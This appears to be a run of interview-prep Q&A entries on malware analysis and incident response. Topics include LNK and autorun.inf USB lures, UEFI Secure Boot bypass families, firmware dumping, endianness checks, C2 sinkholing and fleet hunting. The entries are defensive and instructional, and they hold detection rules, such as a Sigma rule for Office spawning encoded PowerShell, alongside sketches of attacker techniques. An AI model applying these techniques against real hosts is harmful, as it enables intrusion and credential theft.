Detonation in a VM with FakeNet-NG or INetSim covers that gap. I watch Sysmon Event 1 for the PowerShell process, Event 22 for the DNS query and Event 3 for the TCP connection, and I capture the exact URI and user agent in the PCAP. If the loader rejects a generic 404, I replay a captured response instead of relying on the default handler, because loaders often check response size or a checksum before decoding.
I would use both in sequence. Decode statically first to learn what to look for, then detonate to confirm the request and capture stage 2. I hash stage 2, check its magic bytes and entropy, and only then decide whether it is a PE to analyse in Ghidra, a script to deobfuscate further, or an encrypted blob that needs the key from the loader script. That order keeps the evidence intact and gives me a defensible chain from LNK to staging URL to payload.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-73How does a malicious LNK on a USB stick execute code when AutoRun is disabled, and how does that differ from autorun.inf?
The 90-second answer
On a current Windows 10 or 11 host, autorun.inf on a USB stick does not run code on insertion. A malicious .lnk can still run code, but only after the user opens it. That difference in trigger is the core of the technique.
autorun.inf is a plain text file in the root of the volume. Its [AutoRun] section can name a program to launch, for example open=payload.exe, plus an icon= entry to disguise it. Windows XP honoured that automatically. From Windows Vista onward, Microsoft disabled AutoRun for removable drives by default, so a USB stick no longer triggers the prompt. The setting is NoDriveTypeAutoRun under HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, where bit 0x10 covers removable drives. Malware still plants the file for older systems, misconfigured hosts, and as a decoy, but on a patched host its presence shows intent rather than execution.
A .lnk shortcut works differently. It is a binary ShellLink file that Explorer parses when a folder is displayed. The fields that decide what runs are the target path, the arguments, the working directory, and the icon location. A typical USB lure sets the target to payload.exe on the same stick, or to powershell.exe with encoded arguments, and sets the icon to a file named Invoice.docx. The user sees a Word icon, double-clicks the shortcut, and Explorer launches the stored target with the stored arguments. No AutoRun prompt and no macro are needed. The user action is the trigger, which is why this replaced autorun.inf as the common USB method.
autorun.inf | Malicious .lnk | |
|---|---|---|
| Trigger on current Windows | None on USB by default | User opens the shortcut |
| What specifies the program | open= in the [AutoRun] section | LinkInfo target plus StringData arguments |
| How it disguises itself | icon= points at a document | IconLocation points at a document |
| Evidence it fired | explorer.exe spawns the open= program at insertion | explorer.exe spawns the target with the LNK arguments |
Proving which one fired
I analyse a forensic image of the stick, mounted read-only, and parse the LNK without opening it in Explorer. This PowerShell snippet reads the execution fields from a copy on a test VM:
$sh = New-Object -ComObject WScript.Shell
$lnk = $sh.CreateShortcut('E:\Invoice.lnk')
[PSCustomObject]@{
TargetPath = $lnk.TargetPath
Arguments = $lnk.Arguments
WorkingDir = $lnk.WorkingDirectory
IconLocation = $lnk.IconLocation
}Then I correlate that with host telemetry. If Sysmon Event 1 shows explorer.exe spawning powershell.exe with a command line that matches the LNK arguments, and the timing follows a user opening the folder, the LNK fired. If the stick was inserted and no process was created, neither mechanism executed. If a process started at insertion with no click, I would check the Windows version, the NoDriveTypeAutoRun value, and whether the device was presented as a CD-ROM, since optical media can still trigger AutoRun.
Failure modes to name in a report
Relative targets such as ..\payload.exe break when the stick is copied without the payload, so a dead shortcut in an image does not clear the original. Encoded PowerShell arguments hide the next stage, so I decode the -enc value, which is UTF-16LE Base64, before running anything. For hunting, I search Sysmon Event 1 for explorer.exe as parent with a removable drive path in the command line, and I report the real target and full argument string as IOCs rather than the displayed shortcut name.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-74What signature check does UEFI Secure Boot perform before it loads the bootloader?
The 90-second answer
Secure Boot verifies the digital signature of the bootloader before firmware executes it. Firmware checks the image against the certificates and hashes stored in the db UEFI variable, and rejects it if the signature is missing, invalid, or listed in the revocation database dbx. A UEFI bootkit persists below the OS by replacing or modifying code that runs before or during that check, or by altering the trusted keys themselves, so the malicious code is treated as legitimate.
The variables that decide trust
| Variable | What it stores | Why it matters for detection |
|---|---|---|
db | Allowed certificates and hashes | An unexpected certificate here can make a bootkit trusted |
dbx | Revoked certificates and hashes | A known bootkit hash should be blocked here |
KEK | Keys allowed to update db and dbx | A new KEK entry can let an attacker enrol a key |
PK | Platform key for the device owner | Replacement of this key changes the whole trust root |
How I check it on a host
From an elevated PowerShell session I confirm enforcement and inspect the enrolled keys:
Confirm-SecureBootUEFI
Get-SecureBootUEFI -Name db
Get-SecureBootUEFI -Name dbx
Get-SecureBootUEFI -Name KEKConfirm-SecureBootUEFI returning True only means Secure Boot is enabled. It does not mean the enrolled keys are clean. I compare the certificates in db with the vendor baseline for that model, and I hash the EFI System Partition files, especially \EFI\Boot\bootx64.efi and the Windows Boot Manager, against known good copies. A new certificate, a changed bootloader hash, or an extra .efi file is a concrete sign of tampering.
When the OS view is not enough
Firmware persistence can survive a disk wipe because the malicious code lives in SPI flash rather than on disk. In that case the UEFI variables can look normal while the firmware image itself differs from the vendor release. I then dump the flash with a hardware programmer or vendor tool, parse it with UEFITool or UEFIExtract, and compare the DXE drivers and firmware volumes with the vendor image for the exact board revision. A difference in a DXE driver, with a clean disk, confirms firmware persistence rather than a file based bootkit.
A signed but vulnerable driver is the other trap. It passes the signature check, so a clean signature alone is not a verdict. I check whether its hash appears in dbx and whether the vendor has published a revocation for it.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-75Walk me through the Secure Boot bypass techniques firmware malware uses, what each one requires, and how you would detect it on a live host?
The 90-second answer
Secure Boot is a chain, not a single check. Firmware verifies the first EFI image with keys in the PK, KEK and db variables, that image verifies the next one, and so on to the OS loader and kernel drivers. Firmware malware rarely breaks the cryptography. It finds a link in that chain that is already signed, already trusted, or not yet revoked, and uses it to load unsigned code at a point where the OS will trust it.
I group what I see in the wild into four patterns. First, a signed bootloader with a known bug. BootHole (CVE-2020-10739) in GRUB2 let an attacker modify the kernel image in memory after GRUB2 itself had passed verification. BlackLotus used the same idea at scale: it abused signed but vulnerable bootloaders, including a Windows Boot Manager flaw tracked as CVE-2022-21894 and CVE-2023-24932, to load its own bootkit from the EFI System Partition, then load a kernel driver and disable security features. Second, a signed driver with a bug. A legitimate but vulnerable driver signed by a vendor, for example Dell DBUtilDrv2, gives arbitrary kernel read and write. The attacker loads it as a BYOVD (bring your own vulnerable driver) step, then uses it to patch the kernel. That is not a Secure Boot bypass in the firmware sense, but it defeats the driver signing policy Secure Boot is meant to enforce. Third, stolen or abused signing keys. Stuxnet used Realtek and JMicron certificates stolen from those companies to sign its drivers. Modern variants try to enrol their own key into db or KEK, which needs admin access plus a firmware that allows variable changes, or physical access to Setup. Fourth, direct firmware tampering. If SPI flash write protection, BIOS write protection and Intel Boot Guard or AMD PSB are absent or misconfigured, malware with admin rights can rewrite the UEFI volume or the bootloader on the EFI System Partition. On a machine where Secure Boot is simply off in Setup, none of this is needed, which is why I always check the state first.
| Technique | What it needs | Typical artefact | First check |
|---|---|---|---|
| Signed bootloader exploit, for example BlackLotus | A bootloader version still trusted because dbx is out of date | Modified or replaced EFI image on the EFI System Partition, kernel driver loaded early | Hash bootmgfw.efi and shimx64.efi against known good, check dbx date |
| BYOVD with a vulnerable signed driver | Admin rights to install a driver, a driver not on the Microsoft blocklist | A legitimate vendor driver file plus an unsigned payload it loads | List loaded drivers, look for DBUtilDrv2, RTCore64 and similar names |
| Stolen certificate or enrolled custom key | A leaked signing key, or admin plus writable UEFI variables | Unexpected entry in db or KEK, driver signed by an unknown organisation | Dump db, KEK and dbx and compare to the OEM baseline |
| SPI or EFI partition rewrite | Weak firmware write protection, often admin rights | Firmware volume differs from vendor image, PCR values change | TPM PCR 0, 2, 4 and 7, firmware dump with CHIPSEC |
How I check a live host
On Windows I start with the Secure Boot state and the revocation database, because a bypass that relies on an old dbx is invisible if you only ask whether Secure Boot is on.
# Windows 11, run elevated
Confirm-SecureBootUEFI
Get-SecureBootUEFI -Name dbx | Select-Object Name, @{n='Date';e={$_.Attributes}}
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Control\SecureBoot\StateConfirm-SecureBootUEFI returning True only says the policy is enabled. I then read the dbx variable and check its timestamp. Microsoft pushed a major dbx update in May 2023 that revoked the bootloaders BlackLotus abused. A host whose dbx predates that, or that has had the update blocked, is still exposed even though Secure Boot reports on. I also pull TPM PCRs. PCR 7 records the Secure Boot policy and the db and dbx state, PCR 2 and 4 record the boot manager and bootloader. A PCR 7 that does not match a known good value for that model, or a PCR 4 that changes after a reboot with no update, points at a replaced bootloader.
For the EFI System Partition I mount it read only and hash every EFI binary, then compare to the vendor or Microsoft known good hashes for that build. BlackLotus style infections replace or patch bootmgfw.efi, so a hash mismatch there is stronger evidence than any single registry key. I check loaded drivers with driverquery /v and look for the BYOVD names in the table, and I check whether the Microsoft vulnerable driver blocklist is actually enforced, because a driver that is blocked on a patched host will simply fail to load and the sample will often exit, which is a useful negative signal.
Failure modes and limits
A hash mismatch alone does not prove a bootkit. A legitimate Windows update also changes bootmgfw.efi, so I need the build number and the expected hash for that build before I call it malicious. PCR values also change after a firmware update, so I record the firmware version at the same time. The other trap is assuming Secure Boot off means compromise. Many OEMs ship with it off, and some Linux installs require it off for custom kernel modules. I treat Secure Boot off as exposure, not as a verdict, and I look for the unsigned driver or replaced bootloader that the off state allowed.
Where I cannot get a firmware dump, for example on a laptop with no SPI programmer access, I say so in the report and limit the conclusion to the EFI partition, the UEFI variables and the loaded drivers. That is still enough to hunt for BlackLotus class samples, but it is not a full firmware integrity statement, and I do not present it as one.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-76A router's UART shows a boot log and a login prompt you cannot bypass, and an SPI clip reads a 16 MB flash with SquashFS at 0x130000: what do you extract from the flash first, and when would you switch to JTAG instead?
The 90-second answer
Use the UART log to identify the build, then work from the SPI dump. The log tells you the bootloader, kernel version and flash layout, which lets you interpret the dump instead of guessing at it. From the flash, extract the SquashFS root filesystem first and look for the malware artefacts that survive a reboot: init scripts, cron entries, busybox replacements and embedded configs. Switch to JTAG only when the flash does not explain the runtime behaviour, for example a payload that lives in RAM, or when the filesystem is encrypted and you need to read memory after the bootloader has decrypted it.
What each interface gives you in this case
| Interface | Access in this scenario | What it proves | Limit |
|---|---|---|---|
| UART at 115200 8N1 | Boot log, then a login prompt with no working password | Kernel and firmware version, partition layout, services started at boot | No shell, so no live process or network state |
| SPI flash, W25Q128 16 MB | Full dump through a clip at 3.3 V | Bootloader, kernel, SquashFS root filesystem, stored configs | No RAM contents, no keys generated at runtime |
| JTAG via OpenOCD | IDCODE read, then halted CPU if the TAP responds | RAM dump, breakpoints, register state | Often fused off on production builds, and a wrong pinout can halt the SoC |
Start by hashing the dump and keeping that file read only. All unpacking happens on a copy.
# Python 3 and binwalk 2.3, checked on a 16 MB W25Q128 dump
$ sha256sum router.bin
9f2c...a41d router.bin
$ binwalk router.bin
DECIMAL HEXADECIMAL DESCRIPTION
1245184 0x130000 SquashFS filesystem, little endian, version 4.0
$ binwalk -e router.bin
$ ls squashfs-root/etc/init.d/A SquashFS image at 0x130000 is typical for a TRX style layout: bootloader and kernel in the first megabyte or so, root filesystem after that. Once extracted, I grep the init scripts and cron directories for wget, curl, /tmp execution and base64 blobs, then check the binaries in /bin and /sbin against the vendor firmware for the same model. A busybox binary whose hash differs from the vendor release, or a small statically linked binary in /tmp that is started from rc.local, is a stronger finding than a string match alone.
Verify the extraction before you draw conclusions. Compare the file count and total size from unsquashfs -stat with the vendor image, and confirm that /etc/passwd, /etc/shadow and the web UI binaries are present. If unsquashfs reports a superblock error, check the dump first. A dump of all FF bytes means the clip lost contact. A dump that repeats every 1 MB means the part size was set incorrectly. A dump with high entropy throughout and no filesystem signature usually means an encrypted image, and repeated clip reads will not fix that.
When JTAG becomes the right tool
JTAG earns its place when the question moves from stored code to live code. Mirai style samples often drop a payload into /tmp, run it from RAM and delete the file, so the flash shows the loader but not the final stage. Halting the CPU with OpenOCD and dumping RAM can recover that stage. Read the IDCODE first. A value of 0x00000000 or 0xFFFFFFFF means the chain is broken, the pinout is wrong, or the port is disabled. Many production SoCs fuse JTAG off once secure boot is enabled, and that change cannot be reversed, so I document the board revision and exhaust UART and SPI before attempting it.
The practical safety rule is voltage. Match the adapter to the board, 3.3 V for most W25Q parts and 1.8 V for newer ones, and never clip a flash on a powered board unless the programmer is rated for in-circuit reading. A shorted clip can destroy the only copy of the evidence.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-77You have a stripped Cortex-M firmware sample with SWD wired and no symbols: how does OpenOCD act as a GDB stub, and how would you set a breakpoint and dump RAM to recover unpacked code?
The 90-second answer
OpenOCD does not run on the device. It runs on your host and acts as a GDB stub. GDB sends commands in the GDB Remote Serial Protocol over TCP, OpenOCD translates them into SWD transactions through a probe such as CMSIS-DAP, and the probe halts the Cortex-M core and reads its registers and memory. You get a normal GDB session against a stripped firmware image with no symbols and no UART output.
Assume SWDIO, SWCLK and GND are wired, the target is not locked by readout protection, and you have a raw binary or an ELF. If the ELF has no symbols, GDB still works. You supply addresses yourself.
# openocd.cfg for OpenOCD 0.12, STM32F4 target
source [find interface/cmsis-dap.cfg]
source [find target/stm32f4x.cfg]
adapter speed 1000
gdb_port 3333openocd -f openocd.cfgIn a second terminal:
gdb-multiarch firmware.bin
(gdb) target remote localhost:3333
(gdb) monitor reset halt
(gdb) info registers
(gdb) break *0x08001234
(gdb) continue
(gdb) x/8i $pc
(gdb) dump binary memory ram.bin 0x20000000 0x20004000target remote localhost:3333 connects GDB to OpenOCD. monitor reset halt resets the core and stops it before it runs the sample. break sets a breakpoint at the address you found in Ghidra or from the vector table. continue resumes execution until that address is hit. dump binary memory copies a RAM range to your host, which is where unpacked code and decrypted config usually appear.
Applying it to unpacked code
A common pattern in firmware malware is a small stub in flash that decodes a larger payload into RAM and jumps to it. The decoded bytes never exist as a file. You recover them by dumping RAM after the jump.
| Step | Command | What you check |
|---|---|---|
| Halt early | monitor reset halt | $pc points at the reset handler |
| Break at stub | break *0x08001234 | Execution stops before decode |
| Step over decode | stepi a few times, then continue | Core reaches the RAM address |
| Dump RAM | dump binary memory ram.bin 0x20000000 0x20004000 | File contains the decoded payload |
| Inspect | x/16i $pc | Disassembly confirms Thumb code at the jump target |
Load ram.bin in Ghidra as raw ARM Thumb with base address 0x20000000. Strings, C2 addresses and keys that were XORed or compressed in flash are usually readable there. Hash the original flash image separately and keep the RAM dump as a derived artefact, so you can show what was on the device and what only existed at runtime.
Limits to name in the interview
Cortex-M flash cannot be patched in place like RAM, so GDB uses hardware breakpoints from the flash patch block. An M4 typically offers 6. If you set more, GDB will warn that it cannot place them. Use them sparingly, for example at the decode routine and at the jump into RAM.
Adapter speed is the first thing to lower when connections fail. Long leads at 10 MHz often produce intermittent memory read errors. Dropping adapter speed to 1000 kHz or 500 kHz fixes most of those cases. If the core will not halt, try connecting under reset by holding NRST low while OpenOCD starts, since some firmware enters a low power state soon after boot.
Semihosting is a separate option. With monitor arm semihosting enable, calls such as printf in the firmware are sent back to GDB. That helps trace execution, but malware can detect semihosting and behave differently, so treat any output as a hint and confirm it with a RAM dump or a breakpoint trace.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-78What is the key difference in instruction encoding between AArch64 and x86-64 that affects how you disassemble malware?
The 90-second answer
AArch64 instructions are fixed at 4 bytes. x86-64 instructions are variable length, from 1 to 15 bytes. That single encoding difference is what changes disassembly.
On x86-64 a byte stream has no inherent instruction boundaries. The disassembler has to decode from a known start offset, and one data byte or a jump into the middle of an instruction desynchronises everything after it. On AArch64, in A64 mode, every instruction starts on a 4-byte boundary and occupies exactly 4 bytes. You can step through the code in 4-byte increments and stay aligned.
| Property | x86-64 | AArch64 (A64 mode) |
|---|---|---|
| Instruction length | 1 to 15 bytes, variable | 4 bytes, fixed |
| Alignment | Any byte offset | 4-byte aligned |
| Linear sweep from a wrong offset | Produces plausible but wrong code | Produces invalid encodings quickly |
| Typical malware container | PE, ELF, Mach-O | ELF on Android and Linux, Mach-O on Apple Silicon, PE on Windows ARM64 |
What it looks like in practice
; x86-64: boundaries depend on decoding prefixes, REX bytes and ModRM
48 8b 43 10 mov rax, [rbx+0x10]
83 c0 20 add eax, 0x20
89 43 10 mov [rbx+0x10], eax; AArch64: each line is one 4-byte word, read as a 32-bit value
b9400c60 ldr w0, [x19, #12]
11008000 add w0, w0, #0x20
b9000c60 str w0, [x19, #12]The AArch64 bytes above are stored little-endian in the file. Read as a 32-bit little-endian word, b9400c60 is the encoding of ldr w0, [x19, #12]. The next instruction starts immediately after, at the next 4-byte boundary. There is no prefix to parse to find where it ends.
Why analysts care
First, tool setup. If you load an AArch64 ELF into Ghidra or IDA as x86, you will get a full listing of nonsense instructions instead of an error. The fixed width does not save you from selecting the right processor. It does mean that once you have selected AArch64 and the correct base address from the ELF program headers, linear sweep and recursive descent agree far more often than on x86. A disagreement usually points to embedded data or a literal pool, not to a lost sync.
Second, embedded data. ARM64 code frequently stores constants in literal pools inside the text section. On x86 you hunt for data that decodes as code. On AArch64 you hunt for 4-byte aligned words that are not valid instructions, or that are referenced by ldr x0, =value pseudo-instructions the assembler expands to a PC-relative load. Marking those words as data keeps the disassembly aligned.
Third, the exception to know. AArch32 and Thumb-2 are not fixed width. Thumb-2 mixes 2-byte and 4-byte instructions, and 32-bit ARM malware for older Android devices can be in either mode. The fixed 4-byte rule applies to A64 mode, which is what modern 64-bit Android, Linux and Apple Silicon samples use. If file reports ARM EABI rather than aarch64, check whether the ELF header and the disassembler mode say ARM or Thumb before you trust the listing.
For triage, run file first. An ARM aarch64 result tells you to load the sample as AArch64, expect 4-byte instructions, and read the code word by word. That one setting prevents the most common ARM disassembly error, which is not a hard technique. It is decoding the right bytes with the wrong architecture.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-79A MIPS router sample shows an ELF magic in one tool and reversed fields in another, and Ghidra produces nonsense: how do you pin down its endianness and instruction encoding before you trust any disassembly?
The 90-second answer
Do not trust the disassembly until you have read the ELF header in the file's own byte order. For MIPS that means checking e_ident[5] (EI_DATA) first, then confirming it against e_machine, e_type and e_version parsed both ways. EI_DATA 1 is little-endian (mipsel), 2 is big-endian (mips). Set Ghidra, radare2 or QEMU to that exact variant before you run auto-analysis. A wrong choice does not usually produce an error. MIPS instructions are fixed at 4 bytes in MIPS32, so byte-swapping every word still yields 4-byte values that decode to plausible, wrong opcodes, immediates and addresses. That is why the output looks like code and is still garbage.
Worked trace: read the header both ways
Take the first 24 bytes of a little-endian MIPS ELF, as xxd shows them:
| Offset | Bytes | Little-endian parse | Big-endian parse |
|---|---|---|---|
| 0 | 7f 45 4c 46 | ELF magic | ELF magic |
| 5 | 01 | EI_DATA=1, little-endian | would expect 02 |
| 16 | 02 00 | e_type=2, ET_EXEC | e_type=512, invalid |
| 18 | 08 00 | e_machine=8, EM_MIPS | e_machine=2048, invalid |
| 20 | 01 00 00 00 | e_version=1 | e_version=16777216, invalid |
The magic is byte-order independent, which is the trap. Everything after it is not. If you open the same file on an x86 host and a tool silently assumes host order, file may still say "ELF" while readelf -h reports nonsense for type and machine. Run readelf -h sample and file sample and compare. When they disagree, believe the raw bytes at offset 5 and the parse that gives EM_MIPS and a sane e_version.
A small parser removes the guesswork:
import struct
data = open('sample', 'rb').read(64)
ei_data = data[5]
fmt = '<' if ei_data == 1 else '>' # 1 = ELFDATA2LSB, 2 = ELFDATA2MSB
print('endian:', 'little' if ei_data == 1 else 'big')
e_type, e_machine, e_version = struct.unpack_from(fmt + 'HHI', data, 16)
e_entry, = struct.unpack_from(fmt + 'I', data, 24)
print(f'e_type={e_type} e_machine={e_machine} e_version={e_version} entry={e_entry:#x}')On a big-endian sample the same code prints e_machine=8 only with >. If neither parse gives 8, you are probably looking at a raw firmware image with an ELF appended at an offset, not at offset 0. Search for 7f 45 4c 46 with Binwalk or grep -abo, then re-read from there.
Setting the tools
In Ghidra, set the language explicitly, for example MIPS:LE:32:default or MIPS:BE:32:default, and re-run auto-analysis after changing it. Changing the processor after analysis leaves stale instructions in the listing. In radare2 or rizin: e asm.arch=mips, e cfg.bigendian=false for mipsel or true for big-endian, then aaa. In QEMU the binary name encodes the choice: qemu-mips for big-endian, qemu-mipsel for little-endian. The wrong one typically fails with an exec format error or an immediate SIGILL, which is a useful cross-check, not a substitute for the header read, because a static binary with no loader can still start and crash later.
Where this bites in malware work
Embedded configs, C2 strings and XOR keys are often stored as 32-bit words. Read them in the wrong order and a domain looks reversed in 4-byte chunks, a port such as 0x01bb (443) becomes 0xbb01, and a YARA hex pattern written from a little-endian dump will never match a big-endian sample from the same family. MIPS also has 16-bit MIPS16 and microMIPS encodings on some SoCs. If the entry point is 2-byte aligned and the 4-byte disassembly produces a high rate of invalid instructions after a branch, check e_flags in the ELF header for the architecture and ASE bits and try the MIPS16 language variant before concluding the code is packed. Packed code is common on routers, so use that as a second signal: wrong endianness gives uniformly wrong decoding from the first instruction, packing usually gives a valid stub that decodes a loop and a high-entropy blob.
Report the evidence as EI_DATA, the parsed e_machine and e_entry, and the tool language you used. That lets another analyst reproduce the disassembly instead of trusting a screenshot of nonsense instructions.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-80Your sample beacons to cdn-update.example.net at 203.0.113.47, and that IP also hosts a legitimate update service: would you sinkhole the domain at DNS or block the IP at the firewall first, and what breaks either way?
The 90-second answer
I would sinkhole the domain at internal DNS first and hold the firewall IP block until I check what else lives on that IP. The domain is specific to this sample. The IP is not. Blocking the domain stops this host and reveals other hosts resolving it. Blocking the IP stops the beacon too, but if that address also serves a legitimate update service, every host on the subnet loses updates and the block gets rolled back under pressure.
Assume the sample resolves cdn-update.example.net, connects to 203.0.113.47 on TCP 443 every 60 seconds, and that IP is a shared hosting address. I confirm the domain appears only in this sample and not in legitimate software, then push it to DNS. I do not block the IP at the firewall in the same change.
| Action | What it stops | What it reveals | What it breaks |
|---|---|---|---|
DNS sinkhole for cdn-update.example.net | Resolution of that name on internal resolvers | Every host still querying it, with timestamps | Nothing else, unless the domain is shared or compromised legitimate infrastructure |
Firewall block for 203.0.113.47:443 | All outbound connections to that IP from the blocked subnet | Hosts that retry or fall back to another IP | Any legitimate service on the same IP, including updates from other vendors |
| EDR isolate of the confirmed host | Lateral movement from that host | Process tree and file drops on that host | User access to network shares until cleared |
Why DNS first. A sinkhole returns a controlled address, for example 10.99.0.53, instead of the real C2. The sample still tries to connect, so I see the attempt in DNS logs and in Sysmon Event ID 3 or the EDR network log. That gives me a hunt list. A firewall drop gives me a refused or timed out connection and a firewall log line, which is also useful, but it is a blunt instrument on a shared IP.
Trace after the sinkhole, with a 60 second beacon and 10 seconds of jitter:
| Time | Host action | Result |
|---|---|---|
| 00:00 | DNS query for cdn-update.example.net | Sinkhole returns 10.99.0.53 |
| 00:01 | TCP connect to 10.99.0.53:443 | Connection refused or no listener, sample logs failure |
| 01:05 | Next beacon cycle | Same query, same sinkhole answer |
| 01:10 | Second host queries same name | Appears in DNS log, added to hunt list |
If the sample hardcodes the IP and skips DNS, the sinkhole does nothing. I check that in the config and in the pcap before I rely on DNS. When the IP is hardcoded, the firewall block is the containment, and I scope it to outbound traffic from user subnets only, with an expiry and a ticket note naming the sample hash. I also check whether the sample has a fallback domain in its config. Blocking only the primary name while a secondary domain sits unused in the config is a common miss.
Eradication and verification. After containment I kill the process, remove the dropped file and the Run value or scheduled task it created, then reboot. I verify with no DNS query for the domain, no connection to the IP, and no process holding the mutex for 24 hours. If the sample accessed LSASS or browser credential stores, I reset credentials on that host. Cleaning the file alone leaves a way back in.
The failure mode I watch for is a shared IP block that breaks updates, gets reversed, and reopens the C2 path. The DNS sinkhole avoids that because the change is name scoped, reversible, and logged per query. If threat intel later confirms the IP hosts nothing legitimate, I add the firewall block as a second layer and keep the sinkhole in place.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-81Walk me through how you turn IOCs and TTPs from one analysed sample into a fleet-wide threat hunt that finds other infections without drowning in false positives?
The 90-second answer
I treat the sample as a source of hypotheses, not a blocklist. I extract IOCs in layers, rank each by specificity and how fast it changes, then hunt the behavioural combination across the fleet and validate hits against a known clean control set before I call anything an infection.
From the sample I would pull four layers. Network: C2 domain, URI pattern, User-Agent, TLS SNI, DNS query type and interval. Host: file path and name, mutex, registry key, scheduled task, dropped file hash. Behaviour: parent-child process chain, API sequence, persistence mechanism. Context: campaign ID, mutex naming pattern, config values such as a hardcoded URI suffix. Each maps to an ATT&CK technique, for example T1059.001 PowerShell, T1547.001 Registry Run Keys, T1071.001 Web Protocols. That mapping tells me which telemetry source can actually see it. A Run key hunt needs Sysmon Event 13 or EDR registry telemetry. A C2 hunt needs proxy or DNS logs. If the fleet does not collect it, I say so and hunt a proxy behaviour instead.
I rank IOCs before I query anything. A SHA-256 is exact but dies on a one byte repack. A domain is strong until the operator rotates it, often within days. A mutex or User-Agent is durable but shared across families, so alone it produces noise. The hunt therefore leads with the combination that is rare in benign traffic: process chain plus persistence plus network destination, in that order of cost.
| Layer | Example from sample | Fleet query | False positive risk | Shelf life |
|---|---|---|---|---|
| Network | GET /gate.php?id= to a rare domain, fixed User-Agent | Proxy log, 90 days | Low if domain is rare, high if CDN hosted | Days to weeks |
| Host | HKCU\...\Run\Updater pointing to %AppData%\upd.exe | Sysmon 13, EDR registry | Low, name is campaign specific | Weeks to months |
| Behaviour | winword.exe spawns powershell.exe -enc then rundll32 | Sysmon 1, EDR process tree | Medium, admin scripts overlap | Months |
| Hash | SHA-256 of dropped DLL | EDR file inventory | Very low | Until repack |
Running the hunt
I write the hunt as a Sigma rule first because it is portable across EDRs, then translate it. A Sigma sketch for the process chain:
title: Office spawns encoded PowerShell then rundll32
logsource:
product: windows
category: process_creation
detection:
sel1:
ParentImage|endswith: '\WINWORD.EXE'
Image|endswith: '\powershell.exe'
CommandLine|contains: '-enc'
sel2:
Image|endswith: '\rundll32.exe'
CommandLine|contains: '\\'
filter:
CommandLine|contains: 'Microsoft'
condition: sel1 and not filter
level: highI run that retroactively over 30 days, not just today. Suppose the fleet is 5,000 hosts and the rule fires on 12 hosts. I do not report 12 infections. I pull the full process tree, file writes and network connections for each hit and score them against the sample: same dropped path, same Run value, same domain or URI pattern, same mutex. A true hit usually matches three or more layers. A false positive matches only the process chain, which is exactly why the chain alone is a lead and not a verdict.
Arithmetic helps set expectations. If benign admin scripts trigger the chain on 0.1% of hosts per month, that is 5 expected false leads on a 5,000 host fleet. If the real campaign touched 20 hosts, I expect roughly 25 raw hits and need the secondary pivots to separate them. If I get 400 hits, the rule is too broad and I tighten it, usually by adding the persistence value or the URI pattern, before anyone triages.
Failure modes I check
Shared infrastructure: a mutex or User-Agent borrowed from a legitimate installer or another family will light up clean hosts. I check prevalence in a 90 day baseline and drop any IOC present before the sample's first seen date. Volatile IOCs: domains and IPs rotate, so I hunt the URI structure and DNS pattern, for example TXT queries to a newly registered domain, rather than a single IP. Repacked variants: I pivot on the config or the dropped file's behaviour, not the hash, and I cluster hits by mutex, path and C2 pattern to find variants the hash missed. Telemetry gaps: if the fleet lacks Sysmon registry events, a Run key hunt will undercount, and I state that gap in the report instead of claiming the fleet is clean.
Hits that match multiple layers go to incident response for isolation and memory capture. Leads that match one layer go back into the hunt as new pivots, because a variant often keeps the persistence method while changing the domain. I close the hunt with the IOCs that survived validation, their first and last seen dates, and the ATT&CK techniques confirmed in fleet telemetry, so the next hunt starts from evidence rather than from the original sample alone.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-82What is the executive summary in a malware analysis report meant to give a non-technical reader?
The 90-second answer
The executive summary gives a non-technical reader the verdict, the impact, and the recommended actions. It does not try to prove the verdict. The technical section proves it, with methods, evidence, and IOCs that another analyst can check. If a manager reads only the first page, they should know what happened, whether we were harmed, and what to do next. If an analyst reads only the technical section, they should be able to reproduce the findings from the hashes, logs, and artefacts cited there.
I put the same sample identification at the top of both sections: file name as received, SHA-256, file type, source, date received, and analyst name. That stops the two sections describing different samples.
| Executive summary | Technical section | |
|---|---|---|
| Reader | Manager, incident lead, customer | Analyst, detection engineer, IR responder |
| Core question | What was it, did it harm us, what now? | What did it do, and how do we know? |
| Typical content | Verdict in one sentence, affected systems, business impact, recommended actions, confidence and limits | Methodology and tools, static and dynamic findings, persistence, C2, ATT&CK mapping with evidence, IOC table, detection ideas |
| Language | Plain language, no hex or API names unless needed for an action | Precise, with event IDs, file paths, registry keys, and function names |
| Length | One page, often one paragraph plus a short action list | As long as the evidence requires, plus an appendix |
Worked example, hypothetical figures labelled as such. Executive summary: "Sample 9f2c...a41e, received 12 May, is a loader that ran on 3 workstations. It copied browser credential files and contacted a command and control server for about 40 minutes. We found no evidence of file encryption in the logs reviewed. Reset the affected users' passwords, block the C2 domain at the proxy, and search the fleet for the dropped file hash. Confidence is high for credential theft and medium for the absence of encryption, because host logs covered only 24 hours."
That gives the decision, the scope, and the limit on the negative claim. It contains no IOC dump. A domain copied into prose is easy to mistype and gives no context about confidence.
Technical section for the same sample would carry the proof:
| Finding | Evidence | Source |
|---|---|---|
| Persistence via Run key | HKCU Run value named Updater, written at 09:02 UTC | Sysmon Event ID 13 |
| Browser credential access | Chrome Login Data and Local State copied to Temp, then CryptUnprotectData called | ProcMon and sandbox process tree |
| C2 contact | DNS query for update-cdn-example.net, then HTTPS GET /payload.bin every 60 seconds | pcap, Wireshark filter dns.qry.name |
| ATT&CK mapping | T1547.001 for the Run key, T1555.003 for browser credential access | Each mapping tied to the evidence row above |
